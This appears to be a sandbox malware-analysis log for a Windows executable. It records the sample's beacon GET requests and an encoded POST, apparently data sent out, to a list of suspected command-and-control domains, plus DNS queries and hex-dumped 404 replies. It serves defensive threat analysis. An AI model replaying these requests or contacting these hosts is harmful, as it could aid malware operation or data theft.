Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_0074CE44 InternetReadFile,SetEvent,GetLastError,SetEvent,

0_2_0074CE44

Source: global traffic	HTTP traffic detected: GET /fo8o/?Ixe=Apq4tPPXNdTp2&blWd=IhZyPQIGe6uK3zP3twZWsYVeSSeNS0ZlW2eS79Xk6ut4afzj0LiRBEeFtQixSzG192fRs1GD25A478p7nOOnyIi7V/S5J9AzlXPHqpluzE36hxZsh30r8poflPmNwlfmk35jvL8= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.3xfootball.comConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /fo8o/?blWd=0LNqIGaAWMhMIMLJ2VJjkgaiCF/+7LEr9lFre+yu3/9GvRNYi1uHmkVftE7qrB4Q/AkDmlcR4eDvWrml8CJ8ssmc93kihOWHWb8NTA0vbQpCHGBmxgdm5sPEbG1Wvor0LSPPjnI=&Ixe=Apq4tPPXNdTp2 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.kasegitai.tokyoConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /fo8o/?Ixe=Apq4tPPXNdTp2&blWd=LFKqyrcu7g1NCa8cV1r2tNkohroduT6prIMLtaWgKJ9bBKQr4dsnyMPFpMQjJLGR7ieyxupOSpv1HbfUaMaFxgszkgIsi8wfa6/CPqkeX1kME9DjI2TvouO65OvKk6Nl8OEvQ/8= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.goldenjade-travel.comConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /fo8o/?blWd=PTl5gU/3CD/Xhg5Nd1HWi+eKOiJURJRFTZuVmm6gfrwSjnBrSraU/0GdHAsD0mFxNrARF0zWd8CLwvHKbs6Za05B0b8lb0SJyq2CvxKSeitE8AGVnlTlldZE82pgolkPyTnRDO8=&Ixe=Apq4tPPXNdTp2 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.antonio-vivaldi.mobiConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /fo8o/?Ixe=Apq4tPPXNdTp2&blWd=qL3nKp+YSjoaTomgQjyPoknaJzFflnvGMW8DXsDTZ4AADrD7Wpn1i04piMS1+AOWgCBMohpgbh6Cuut9PSzjNWAySNtnq/EMXCTP7S4oEh8mb9sAZyquFiTVTuU6HpMKOeASrGw= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.magmadokum.comConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /fo8o/?blWd=x3jV/ECx7FuzXOI5niBKCyXhuUkTi7THyCIVaqWvGMMqpfz0YC5wLsL1wYxwFH1KuInYTmXKqKNNujOvwtdNp7YHjVi2aBezyBUOenUja13YBEIShwN33HoHbXtrY+oqbh1getk=&Ixe=Apq4tPPXNdTp2 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.rssnewscast.comConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /fo8o/?Ixe=Apq4tPPXNdTp2&blWd=iiIkdrB6KYcVQoN0c6CfZniI+lK17wmUSOc41yM1Q/k97jiJcokuWPbOTxiCodGWiOQkUrp21l37eyMeLTp+RFkz+4bzDeEKKqRZgAR6qoTILtOL6EdJZhJZBnFdSPOr30I02M8= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.liangyuen528.comConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /fo8o/?blWd=vefd0teQh+kbruh5/qap98pA+QvvtGaRDgCUoL90YCYLczV+Hcc/TcCCUPfrz9W5FQiF6ivoXpNecnmrfO5haoQH1WjEWithRFLxLKOV4ce9fWCCnKIVX4jHNmrNLQZpWctVBLU=&Ixe=Apq4tPPXNdTp2 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.techchains.infoConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /fo8o/?Ixe=Apq4tPPXNdTp2&blWd=bO1UBvtoHFNUmlWGmXL3o3L5Dhw+Vy81qF418M7UHpKKa2cgLZsmM/SsbGGojtls67Xc6OgTo57aJm1+bsxMMgl3a4mkxzPbkN9BQKjpJMF6ezHcknvvvjzNmyPcHDwhODu1wVk= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.elettrosistemista.zipConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /fo8o/?blWd=l+301ZvITCxaX9AHm1YsL655mgOT9ufJgzctOQx29qSsrxX8kw49ykgmumiYYU42xMGxVig5KVZrJosPbs9pCTG1dl0n9Zx5sBovXqlibLG+oTQgCZHMA1AF4xfdSZkJv4XAGCI=&Ixe=Apq4tPPXNdTp2 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.donnavariedades.comConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /fo8o/?blWd=mxnR+iHPFb8HZiaBBOLBDF0OC7azb6MRPLEBGwFodGelSqoCQiBwPqu0WU7djgVoJgj4cKk6Pp6Q/yIaSghKYS1O+KnDGu0Ee7a9fQq7JRnHJ6pn6i4sEdb7G20jo8euDHkgubc=&Ixe=Apq4tPPXNdTp2 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.empowermedeco.comConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /fo8o/?Ixe=Apq4tPPXNdTp2&blWd=4jpq/azRsxa5RUjY86tNWfjSBjUfGmQA/bC5edk8IUrTRSqWoRPa/8wzulAZuqVnvDzKNkDL1IzsWztH+C0v0tvbjYVZrXx7xEZksJc7712LnlYWiWRTV2JAY9clvZ1jJotY128= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.joyesi.xyzConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /fo8o/?Ixe=Apq4tPPXNdTp2&blWd=CKPof6WmPR8MjyGgZoDlhb60KxQVVSuHH5TS1bRPLOh5omNg/qt+/6bvCL2pthCxfTLrkj/U4P5Lt/hzCRdBTD8WClZdEhsa3dPrDeE1SdlnJbrG6MsWCo/sylvA1Bg/24QA05c= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.shenzhoucui.comConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /fo8o/?blWd=AU3XYvZFaGSlytwuLg8MPaUQqx3yoZo+slWhncsJrkz7OmZN7i/xsh6l91syvPfChHr514cSZiYi12sQUpLBNWUGgXkiv5tYdsczWAt3YIqQCRozzWbYSNnfkFwi3fxcOtzIASs=&Ixe=Apq4tPPXNdTp2 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.b301.spaceConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic	HTTP traffic detected: GET /fo8o/?Ixe=Apq4tPPXNdTp2&blWd=IhZyPQIGe6uK3zP3twZWsYVeSSeNS0ZlW2eS79Xk6ut4afzj0LiRBEeFtQixSzG192fRs1GD25A478p7nOOnyIi7V/S5J9AzlXPHqpluzE36hxZsh30r8poflPmNwlfmk35jvL8= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.3xfootball.comConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)

Source: global traffic	DNS traffic detected: DNS query: www.3xfootball.com
Source: global traffic	DNS traffic detected: DNS query: www.kasegitai.tokyo
Source: global traffic	DNS traffic detected: DNS query: www.goldenjade-travel.com
Source: global traffic	DNS traffic detected: DNS query: www.antonio-vivaldi.mobi
Source: global traffic	DNS traffic detected: DNS query: www.magmadokum.com
Source: global traffic	DNS traffic detected: DNS query: www.rssnewscast.com
Source: global traffic	DNS traffic detected: DNS query: www.liangyuen528.com
Source: global traffic	DNS traffic detected: DNS query: www.techchains.info
Source: global traffic	DNS traffic detected: DNS query: www.elettrosistemista.zip
Source: global traffic	DNS traffic detected: DNS query: www.donnavariedades.com
Source: global traffic	DNS traffic detected: DNS query: www.660danm.top
Source: global traffic	DNS traffic detected: DNS query: www.empowermedeco.com
Source: global traffic	DNS traffic detected: DNS query: www.joyesi.xyz
Source: global traffic	DNS traffic detected: DNS query: www.k9vyp11no3.cfd
Source: global traffic	DNS traffic detected: DNS query: www.shenzhoucui.com
Source: global traffic	DNS traffic detected: DNS query: www.b301.space

Source: unknown

HTTP traffic detected: POST /fo8o/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,enAccept-Encoding: gzip, deflate, brHost: www.kasegitai.tokyoOrigin: http://www.kasegitai.tokyoCache-Control: no-cacheConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 209Referer: http://www.kasegitai.tokyo/fo8o/User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)Data Raw: 62 6c 57 64 3d 35 4a 6c 4b 4c 7a 61 4b 56 70 31 77 4a 5a 76 70 77 56 49 68 75 42 43 58 53 48 62 6c 32 71 6c 5a 2b 79 49 57 5a 2b 61 46 2f 2f 42 72 6b 77 51 5a 6d 6c 71 64 38 54 35 32 76 54 57 45 67 77 41 56 68 42 38 69 6e 33 6f 45 74 35 2f 53 55 34 79 6d 76 43 4e 39 73 66 79 73 79 67 68 45 77 5a 4f 31 47 62 49 4d 4c 67 45 53 42 69 78 58 65 77 45 46 2f 33 64 62 2b 4f 4f 6c 58 45 70 6a 39 6f 58 75 59 57 54 43 67 42 68 32 50 37 39 7a 47 73 76 43 58 68 7a 62 50 30 42 39 74 70 48 4a 50 4e 6d 66 66 33 4f 6a 34 68 39 38 78 6f 45 48 42 33 45 74 49 7a 2f 63 65 67 36 4e 67 68 4d 58 57 72 64 61 4a 39 74 62 66 31 64 53 36 4e 39 38 Data Ascii: blWd=5JlKLzaKVp1wJZvpwVIhuBCXSHbl2qlZ+yIWZ+aF//BrkwQZmlqd8T52vTWEgwAVhB8in3oEt5/SU4ymvCN9sfysyghEwZO1GbIMLgESBixXewEF/3db+OOlXEpj9oXuYWTCgBh2P79zGsvCXhzbP0B9tpHJPNmff3Oj4h98xoEHB3EtIz/ceg6NghMXWrdaJ9tbf1dS6N98

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Fri, 02 Aug 2024 11:51:21 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Fri, 02 Aug 2024 11:51:25 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Fri, 02 Aug 2024 11:51:27 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Fri, 02 Aug 2024 11:51:30 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Fri, 02 Aug 2024 11:51:36 GMTContent-Type: text/html; charset=UTF-8Content-Length: 564Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Fri, 02 Aug 2024 11:51:38 GMTContent-Type: text/html; charset=UTF-8Content-Length: 564Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 